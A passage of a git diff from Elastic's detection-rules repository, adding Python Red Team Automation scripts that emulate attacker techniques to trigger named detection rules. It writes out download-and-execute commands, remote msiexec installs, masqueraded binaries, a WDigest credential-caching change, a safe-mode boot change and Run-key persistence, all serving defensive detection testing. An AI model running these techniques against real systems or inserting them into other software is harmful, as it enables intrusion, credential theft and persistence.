B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="3c8fc2cc-fa66-4c91-ae72-c72accaa92b7", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Potential Persistence via Login Hook", "rule_id": "ac412404-57a5-476f-858f-4e8fbb4f48d8"}], + techniques=["T1547"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing deletion on /tmp/com.apple.loginwindow.plist file.") + common.temporary_file_helper("testing", file_name="/tmp/com.apple.loginwindow.plist") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/lua_image_load.py b/rta/lua_image_load.py new file mode 100644 index 000000000..39dfccfa6 --- /dev/null +++ b/rta/lua_image_load.py @@ -0,0 +1,60 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="860e5968-c31f-4928-ac05-3c3c2d19450c", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Windows LUA Script Execution", "rule_id": "8f237d98-1825-4c27-a5cd-e38bde70882a"} + ], + siem=[], + techniques=["T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\luacom.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, posh) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + # Modify the originalfilename to invalidate the code sig + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "unsigned.exe"]) + + common.log("Loading luacom.dll into fake posh") + common.execute( + [ + posh, + "-c", + f"Import-Module {ps1}; Invoke-ImageLoad {dll};", + "Test-NetConnection", + "-ComputerName", + "portquiz.net", + "-Port", + "445", + ], + timeout=10, + ) + + common.remove_files(posh, dll, ps1, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/mac_office_descendant.py b/rta/mac_office_descendant.py index a9e51584c..d220e5797 100644 --- a/rta/mac_office_descendant.py +++ b/rta/mac_office_descendant.py @@ -10,9 +10,13 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.MACOS) +metadata = RtaMetadata(uuid="bb523eb1-db67-4ae6-9369-af1a93322817", platforms=["macos"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("Emulating Microsoft Word running enumeration commands") office_path = os.path.abspath("Microsoft Word") diff --git a/rta/macos_installer_curl.py b/rta/macos_installer_curl.py new file mode 100644 index 000000000..58d75b429 --- /dev/null +++ b/rta/macos_installer_curl.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="34040af5-1231-4e97-8189-a26d6622b2e5", + platforms=["macos"], + endpoint=[ + {"rule_name": "Initial Access via macOS Installer Package", "rule_id": "d40ffcba-b83e-4d0a-8d6d-84385def8e18"} + ], + siem=[], + techniques=["T1105", "T1543", "T1082", "T1566", "T1204", "T1547", "T1569", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/Installer" + masquerade2 = "/tmp/curl" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + + # Execute command + common.log("Launching fake macOS installer commands to download payload") + common.execute([masquerade], timeout=10, kill=True) + + command = f"{masquerade2} test.amazonaws.comtest " + common.execute([masquerade, "childprocess", command], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/mimikatz_cmdline.py b/rta/mimikatz_cmdline.py new file mode 100644 index 000000000..a725f9939 --- /dev/null +++ b/rta/mimikatz_cmdline.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="75fdde39-92bb-4a71-a4f1-f70e9c85d6db", + platforms=["windows"], + endpoint=[ + {"rule_name": "Potential Credential Access via Mimikatz", "rule_id": "86bf5d50-7f5d-44b4-977b-dff222379727"} + ], + siem=[], + techniques=["T1558", "T1003"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + # Execute command + common.log("Echoing a mimikatz command") + common.execute([powershell, "echo", "misc::memssp"], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/modification_of_wdigest_security_provider.py b/rta/modification_of_wdigest_security_provider.py index f3e721230..c9e9e60ab 100644 --- a/rta/modification_of_wdigest_security_provider.py +++ b/rta/modification_of_wdigest_security_provider.py @@ -13,20 +13,43 @@ import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="c774ab90-d4d0-487b-b51e-928e7f3e9c48", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "d703a5af-d5b0-43bd-8ddb-7a5d500b7da5", "rule_name": "Modification of WDigest Security Provider"} + ], + techniques=["T1003"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Modification of WDigest Security Provider") # TODO: See if common.temporory_reg should be used instead - common.write_reg(common.HKLM, - "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 1, - common.DWORD, restore=False, pause=True) + common.write_reg( + common.HKLM, + "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", + "UseLogonCredential", + 1, + common.DWORD, + restore=False, + pause=True, + ) - common.write_reg(common.HKLM, - "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0, - common.DWORD, restore=False) + common.write_reg( + common.HKLM, + "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", + "UseLogonCredential", + 0, + common.DWORD, + restore=False, + ) if __name__ == "__main__": diff --git a/rta/modify_bootconf.py b/rta/modify_bootconf.py new file mode 100644 index 000000000..c832fec4e --- /dev/null +++ b/rta/modify_bootconf.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import os + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="672cd0e6-fa5a-468f-80c8-04f92bead469", + platforms=["windows"], + endpoint=[{"rule_name": "BCDEdit Safe Mode Command Execution", "rule_id": "6d660b32-23bf-434b-a588-1cdc91224664"}], + siem=[], + techniques=["T1490", "T1218", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +def main(): + binary = "winword.exe" + common.copy_file(EXE_FILE, binary) + bcdedit = "bcdedit.exe" + + # Messing with the boot configuration is not a great idea so create a backup: + common.log("Exporting the boot configuration....") + backup_file = os.path.abspath("boot.cfg") + common.execute([bcdedit, "/export", backup_file]) + + # WARNING: this sets up computer to boot into Safe Mode upon reboot + common.log("Changing boot configuration", log_type="!") + common.execute([binary, "/c", bcdedit, "/set", "{default}", "safeboot", "minimal"]) + + # Delete value to not boot into Safe Mode + common.log("Reset boot configuration", log_type="!") + common.execute([binary, "/c", bcdedit, "/deletevalue", "safeboot"]) + + # Restore the boot configuration + common.log("Restoring boot configuration from %s" % backup_file, log_type="-") + common.execute([bcdedit, "/import", backup_file]) + + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/modify_sublime_app.py b/rta/modify_sublime_app.py new file mode 100644 index 000000000..332d38811 --- /dev/null +++ b/rta/modify_sublime_app.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="5fc46f6e-5a2a-4336-98f3-5fdc27db7152", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Sublime Plugin or Application Script Modification", + "rule_id": "88817a33-60d3-411f-ba79-7c905d865b2a", + } + ], + techniques=["T1554"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + sublime_dir = Path(f"{Path.home()}/Library/Application Support/Sublime Text 4/") + sublime_packages = sublime_dir.joinpath("Packages") + sublime_packages.mkdir(parents=True, exist_ok=True) + sublime_path = str(sublime_packages.joinpath("test.py")) + common.log(f"Executing hidden plist creation on {sublime_path}") + common.temporary_file_helper("testing", file_name=sublime_path) + + # cleanup + common.remove_directory(str(sublime_packages)) + common.remove_directory(str(sublime_dir)) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/mount_smbfs.py b/rta/mount_smbfs.py new file mode 100644 index 000000000..93606713c --- /dev/null +++ b/rta/mount_smbfs.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d275922f-a702-4668-a77d-c60e8df58646", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "Attempt to Mount SMB Share via Command Line", "rule_id": "661545b4-1a90-4f45-85ce-2ebd7c6a15d0"} + ], + techniques=["T1021"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/mount_smbfs" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake mount_smbfs command to mimic mounting a network share.") + common.execute([masquerade], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/ms_office_drop_exe.py b/rta/ms_office_drop_exe.py index ecce23f1b..7d0e1a438 100644 --- a/rta/ms_office_drop_exe.py +++ b/rta/ms_office_drop_exe.py @@ -12,9 +12,24 @@ import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="ce85674f-fb6c-44d5-b880-4ce9062e1028", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "0d8ad79f-9025-45d8-80c1-4f0cd3c5e8e5", + "rule_name": "Execution of File Written or Modified by Microsoft Office", + } + ], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) def main(): cmd_path = "c:\\windows\\system32\\cmd.exe" @@ -24,10 +39,10 @@ def main(): common.copy_file(cmd_path, office_path) bad_path = os.path.abspath("bad-{}-{}.exe".format(hash(office_app), os.getpid())) - common.execute([office_path, '/c', 'copy', cmd_path, bad_path]) + common.execute([office_path, "/c", "copy", cmd_path, bad_path]) time.sleep(1) - common.execute([bad_path, '/c', 'whoami']) + common.execute([bad_path, "/c", "whoami"]) # cleanup time.sleep(1) diff --git a/rta/ms_office_task_creation.py b/rta/ms_office_task_creation.py new file mode 100644 index 000000000..b4ba24c12 --- /dev/null +++ b/rta/ms_office_task_creation.py @@ -0,0 +1,55 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="804463e7-b146-41ba-a757-d131d0a021ac", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Scheduled Task Creation via Microsoft Office", + "rule_id": "f9fd002c-0dab-42ec-8675-0cf5af6b4a85", + }, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c"}, + ], + siem=[], + techniques=["T1036", "T1053", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + winword = "C:\\Users\\Public\\winword.exe" + svchost = "C:\\Users\\Public\\svchost.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\taskschd.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + task = "C:\\Windows\\System32\\Tasks\\a.xml" + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + common.copy_file(EXE_FILE, winword) + common.copy_file(EXE_FILE, svchost) + + common.log("Modifying the OriginalFileName") + common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "taskschd.dll"]) + + common.log("Loading taskschd.dll") + common.execute([winword, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) + common.execute([svchost, "-c", f"New-Item -Path {task} -Type File"], timeout=10) + common.remove_files(dll, ps1, rcedit, task, winword, svchost) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msbuild_network.py b/rta/msbuild_network.py index 36d215325..8e79375e8 100644 --- a/rta/msbuild_network.py +++ b/rta/msbuild_network.py @@ -11,11 +11,27 @@ # Description: Generates network traffic from msbuild.exe from . import common - -MS_BUILD = 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe' +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="022dc249-a496-413a-9355-c37e3ea41dda", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae6", + "rule_name": "Microsoft Build Engine Started an Unusual Process", + } + ], + techniques=["T1027"], +) + + +MS_BUILD = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe" + + +@common.requires_os(metadata.platforms) @common.dependencies(MS_BUILD) def main(): common.log("MsBuild Beacon") diff --git a/rta/msbuild_unusual_args.py b/rta/msbuild_unusual_args.py new file mode 100644 index 000000000..4f277f6f8 --- /dev/null +++ b/rta/msbuild_unusual_args.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="511278ac-4996-438e-ba03-bef8f10665b5", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, + {"rule_name": "MSBuild with Unusual Arguments", "rule_id": "6518cdaf-e6cd-4cf9-a51e-043117c3dbeb"}, + ], + siem=[], + techniques=["T1127", "T1218"], +) + +RENAMER = common.get_path("bin", "rcedit-x64.exe") +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + msbuild = "C:\\Users\\Public\\posh.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(RENAMER, rcedit) + common.copy_file(EXE_FILE, msbuild) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, msbuild, "--set-version-string", "OriginalFilename", "MSBuild.exe"]) + + common.log("Executing modified binary with extexport.exe original file name") + common.execute([msbuild, "-Version"], timeout=10, kill=True) + + common.remove_files(msbuild, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msequationeditor_file_written_exec.py b/rta/msequationeditor_file_written_exec.py new file mode 100644 index 000000000..5e6cc40d5 --- /dev/null +++ b/rta/msequationeditor_file_written_exec.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a0b7435a-1f48-4fae-b3dc-c596dc70490d", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Execution of File Written or Modified by Microsoft Equation Editor", + "rule_id": "8bc4f22c-9bb1-4c76-a7b6-195bee3579db", + }, + {"rule_name": "Microsoft Equation Editor Child Process", "rule_id": "60eb5960-b26e-494a-8cf2-35ab5939f6c1"}, + ], + siem=[], + techniques=["T1203", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + server, ip, port = common.serve_web() + url = f"http://{ip}:{port}/bin/renamed_posh.exe" + + eqnedt32 = "C:\\Users\\Public\\eqnedt32.exe" + dropped = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, eqnedt32) + + cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" + + # Execute command + common.log("Using a fake eqnedt32 to drop and execute an .exe") + common.execute([eqnedt32, "/c", cmd], timeout=10) + common.execute([eqnedt32, "/c", dropped], timeout=10, kill=True) + common.remove_file(eqnedt32) + common.remove_file(dropped) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msequationeditor_net_conn.py b/rta/msequationeditor_net_conn.py new file mode 100644 index 000000000..6c70e01e6 --- /dev/null +++ b/rta/msequationeditor_net_conn.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="75167553-4886-44ba-b5d6-b4c341b33709", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious Network Connection from Microsoft Equation Editor", + "rule_id": "365571bb-2b93-4ae8-8c39-0558f8a6c4cc", + } + ], + siem=[], + techniques=["T1203", "T1566"], +) + +EXE_FILE = common.get_path("bin", "regsvr32.exe") + + +@common.requires_os(metadata.platforms) +def main(): + eqnedt32 = "C:\\Users\\Public\\eqnedt32.exe" + + common.copy_file(EXE_FILE, eqnedt32) + common.log("Making connection using fake eqnedt32.exe") + common.execute([eqnedt32, "-Embedding"], timeout=10, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/mshta_network.py b/rta/mshta_network.py index f21480129..3f3b4bcd6 100644 --- a/rta/mshta_network.py +++ b/rta/mshta_network.py @@ -9,11 +9,28 @@ # Description: Generates network traffic from mshta.exe from . import common +from . import RtaMetadata HTA_FILE = common.get_path("bin", "beacon.hta") -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="83465fca-25ae-4d6d-b747-c82cda75b0ae", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "1fe3b299-fbb5-4657-a937-1d746f2c711a", + "rule_name": "Unusual Network Activity from a Windows System Binary", + }, + {"rule_id": "c2d90150-0133-451c-a783-533e736c12d7", "rule_name": "Mshta Making Network Connections"}, + {"rule_id": "a4ec1382-4557-452b-89ba-e413b22ed4b8", "rule_name": "Network Connection via Mshta"}, + ], + techniques=["T1127", "T1218"], +) + + +@common.requires_os(metadata.platforms) @common.dependencies(HTA_FILE) def main(): # http server will terminate on main thread exit @@ -26,7 +43,7 @@ def main(): common.log("Updating the callback to %s" % new_callback) common.patch_regex(HTA_FILE, common.CALLBACK_REGEX, new_callback) - mshta = 'mshta.exe' + mshta = "mshta.exe" common.execute([mshta, HTA_FILE], timeout=3, kill=True) server.shutdown() diff --git a/rta/msiexec_http_installer.py b/rta/msiexec_http_installer.py index 402b90301..989d6aba4 100644 --- a/rta/msiexec_http_installer.py +++ b/rta/msiexec_http_installer.py @@ -9,16 +9,38 @@ # Description: Use msiexec.exe to download an executable from a remote site over HTTP and run it. from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="d90f48c5-282a-4d29-a021-fb87e220e1a5", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "1fe3b299-fbb5-4657-a937-1d746f2c711a", + "rule_name": "Unusual Network Activity from a Windows System Binary", + } + ], + techniques=["T1127"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("MsiExec HTTP Download") server, ip, port = common.serve_web() common.clear_web_cache() common.execute(["msiexec.exe", "/quiet", "/i", "http://%s:%d/bin/Installer.msi" % (ip, port)]) common.log("Cleanup", log_type="-") - common.execute(["msiexec", "/quiet", "/uninstall", "http://%s:%d/bin/Installer.msi" % (ip, port)]) + common.execute( + [ + "msiexec", + "/quiet", + "/uninstall", + "http://%s:%d/bin/Installer.msi" % (ip, port), + ] + ) server.shutdown() diff --git a/rta/msiexec_remote_msi.py b/rta/msiexec_remote_msi.py new file mode 100644 index 000000000..732616f46 --- /dev/null +++ b/rta/msiexec_remote_msi.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="de245f02-8614-4fdd-b6e4-e845bbadd056", + platforms=["windows"], + endpoint=[{"rule_name": "Remote File Execution via MSIEXEC", "rule_id": "8ba98e28-d83e-451e-8df7-f0964f7e69b6"}], + siem=[], + techniques=["T1218"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # Execute command + common.log("Trying to fetch remote non-existent MSI") + common.execute( + ["msiexec.exe", "/q", "/i", "https://8.8.8.8/bin/Installer.msi"], + timeout=5, + kill=True, + ) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msiexec_remote_msi_install.py b/rta/msiexec_remote_msi_install.py new file mode 100644 index 000000000..fa54d9ea8 --- /dev/null +++ b/rta/msiexec_remote_msi_install.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="8cb1d15d-d945-4f1c-9238-b221600156bc", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Remote MSI Package Installation via MSIEXEC", "rule_id": "706bf4ca-45b7-4eb1-acae-b1228124594a"}, + ], + siem=[], + techniques=["T1218", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + msiexec = "C:\\Users\\Public\\msiexec.exe" + common.copy_file(EXE_FILE, msiexec) + + set_reg_cmd = "Set-ItemProperty -Path 'HKLM:\\SOFTWARE' -Name 'InstallSource' -Value http://google.com" + rem_reg_cmd = "Remove-ItemProperty -Path 'HKLM:\\SOFTWARE' -Name 'InstallSource'" + + # Execute command + common.log("Creating reg key using fake msiexec") + common.execute([msiexec, "/c", set_reg_cmd, "; cmd.exe", "/V"], timeout=5, kill=True) + common.execute([msiexec, "/c", rem_reg_cmd], timeout=5, kill=True) + common.remove_file(msiexec) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_dcom_accessvbom.py b/rta/msoffice_dcom_accessvbom.py new file mode 100644 index 000000000..27d6e23fd --- /dev/null +++ b/rta/msoffice_dcom_accessvbom.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="456ec321-41c8-4a41-8f6f-40b8e3d1c295", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious MS Office Execution via DCOM", "rule_id": "6a714747-2671-4523-b233-744f119949b6"} + ], + siem=[], + techniques=["T1112", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + winword = "C:\\Users\\Public\\winword.exe" + common.copy_file(EXE_FILE, winword) + + key = "SOFTWARE\\Microsoft\\Office\\Test\\Security" + value = "AccessVBOM" + data = "1" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + common.execute([winword, "-c", "echo", "-Embedding", ";powershell"], timeout=5, kill=True) + common.remove_file(winword) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_descendant_reg_mod_persistence.py b/rta/msoffice_descendant_reg_mod_persistence.py new file mode 100644 index 000000000..0fb97782e --- /dev/null +++ b/rta/msoffice_descendant_reg_mod_persistence.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="8fc20141-a73e-4c5e-9c9b-70acb69ab1dd", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Registry Persistence via Microsoft Office Descendant Process", + "rule_id": "999e7a9a-334f-4b74-834f-a652f91531f2", + } + ], + siem=[], + techniques=["T1547", "T1112", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + winword = "C:\\Users\\Public\\winword.exe" + posh = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, winword) + common.copy_file(EXE_FILE, posh) + + cmd = ( + "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' " + "-Name Test -PropertyType String -value Testing" + ) + rem_cmd = "Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name Test" + + # Execute command + common.log("Fake ms word reg mod...") + common.execute([winword, "/c", posh, "/c", cmd], timeout=10) + common.execute([posh, "/c", rem_cmd], timeout=10) + common.remove_file(winword) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_dll_image_load.py b/rta/msoffice_dll_image_load.py new file mode 100644 index 000000000..46b04259c --- /dev/null +++ b/rta/msoffice_dll_image_load.py @@ -0,0 +1,50 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4ad6b308-f457-4805-89b9-43b99e32b24f", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Microsoft Office Loaded a Dropped Executable File", + "rule_id": "a0a82ad6-98ed-4426-abd8-52e7b052e297", + } + ], + siem=[], + techniques=["T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") + + +@common.requires_os(metadata.platforms) +def main(): + winword = "C:\\Users\\Public\\winword.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\a.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + common.copy_file(EXE_FILE, winword) + common.copy_file(PS1_FILE, ps1) + + common.log("Droping and Loading a.dll into fake winword") + common.execute( + [ + winword, + "-c", + f"Copy-Item {user32} {dll}; Import-Module {ps1}; Invoke-ImageLoad {dll}", + ], + timeout=10, + ) + + common.remove_files(winword, dll, ps1) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_file_drop_exec_wmi.py b/rta/msoffice_file_drop_exec_wmi.py new file mode 100644 index 000000000..2684d95be --- /dev/null +++ b/rta/msoffice_file_drop_exec_wmi.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ca0cc06d-6a8f-4d9b-a9c2-9315c62f924a", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious Execution via Windows Management Instrumentation", + "rule_id": "7e554c18-6435-41ce-b57b-d0ac3b73817f", + }, + {"rule_name": "Microsoft Office File Execution via WMI", "rule_id": "792411bd-59ef-4ac0-89be-786d52d1a5c8"}, + ], + siem=[], + techniques=["T1047", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + server, ip, port = common.serve_web() + url = f"http://{ip}:{port}/bin/renamed_posh.exe" + + winword = "C:\\Users\\Public\\winword.exe" + wmiprvse = "C:\\Users\\Public\\wmiprvse.exe" + dropped = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, winword) + common.copy_file(EXE_FILE, wmiprvse) + common.copy_file(EXE_FILE, dropped) + + cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" + + # Execute command + common.execute([winword, "/c", cmd], timeout=10) + 